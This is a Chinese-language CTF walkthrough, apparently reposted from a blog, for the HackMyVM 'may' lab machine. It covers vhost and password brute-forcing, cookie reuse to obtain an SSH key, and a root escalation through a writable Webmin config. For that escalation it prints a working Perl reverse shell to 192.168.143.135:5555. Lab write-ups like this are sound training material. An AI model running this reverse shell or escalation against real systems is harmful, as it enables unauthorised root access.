当前位置:网站首页>hackmyvm: may walkthrough
hackmyvm: may walkthrough
2022-08-02 03:25:00 【xdeclearn】
hackmyvm: may walkthrough
信息收集

访问80,会跳转到域名may.hmv访问,这里需添加hosts访问。
得到了一个用户明marie。
爆破目录未果,于是爆破vhost。
找到两个vhost,portal和ssh。添加hosts后访问portal.may.hmv。这个一个登录页面,会验证用户名和密码,尝试注入失败后,利用前面得到的用户名尝试爆破密码。
得到密码rebelde并成功获取到了cookie,将这个cookie注入到http://ssh.may.hmv/check.php的请求中去,成功获取marie用户的私钥。
获取user flag
将私钥保存,并设置为只可当前用户读写,ssh登录marie。

获取root flag
查看root用户进程,发现了如下进程。
查看miniserv.conf文件权限,发现marie可以直接编辑,于是在home目录下创建一个failed.pl替换掉默认的。


在failed.pl中加入了反弹shell代码。
[email protected]:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.143.135";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CONF, "</etc/webmin/miniserv.conf") || die "Failed to open /etc/webmin/miniserv.conf : $!";
while(<CONF>) {
$root = $1 if (/^root=(.*)/);
}
close(CONF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{
'PERLLIB'} = "$root";
$ENV{
'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{
'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{
'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
利用sudo重启虚拟机(marie可以无密码执行sudo reboot)。重启后随便webmin登录一个错误账号就可以反弹root。
边栏推荐
- [sebastian/diff] A historical change extension library for comparing two texts
- 16. JS events, string and operator
- [symfony/finder] The best file manipulation library
- Query the indexes of all tables in the database and parse them into sql
- 数组的高级操作
- Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
- easyswoole uses redis to perform geoRadiusByMember Count invalid fix
- 3.PHP数据类型、常量、字符串和运算符
- 1.初识PHP
- JS objects, functions and scopes
猜你喜欢

kali安装IDEA

TypeScript error error TS2469, error TS2731 solution

攻防世界—MISC 新手区1-12

三元判断再三元判断
![[league/climate]一个功能健全的命令行功能操作库](/img/ce/39114b1c74af649223db97e5b0e29c.png)
[league/climate]一个功能健全的命令行功能操作库

正则笔记(2)- 正则表达式位置匹配攻略

点名系统和数组元素为对象的排序求最大值和最小值

SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration

(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符

Phpstudy安装Thinkphp6(问题+解决)
随机推荐
3.PHP数据类型、常量、字符串和运算符
Kali install IDEA
Turn trendsoft/capital amount of Chinese capital library
uniapp | 开发中遇到的兼容性问题(待续)
阿里云MySQL5.7安装以及部分主要问题(总和)
js __proto__、prototype、constructor的关系
点名系统和数组元素为对象的排序求最大值和最小值
PHP实现搜索框的自动反查提示
Query the indexes of all tables in the database and parse them into sql
正则笔记(2)- 正则表达式位置匹配攻略
12. What is JS
PHP8.2将会有哪些新东西?
[league/flysystem]一个优雅且支持度非常高的文件操作接口
IP access control: teach you how to implement an IP firewall with PHP
[vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
uniapp | 使用npm update更新后编译报错问题
Baidu positioning js API
[sebastian/diff]一个比较两段文本的历史变化扩展库
[symfony/mailer]一个优雅易用的发送邮件类库
PHP有哪些框架?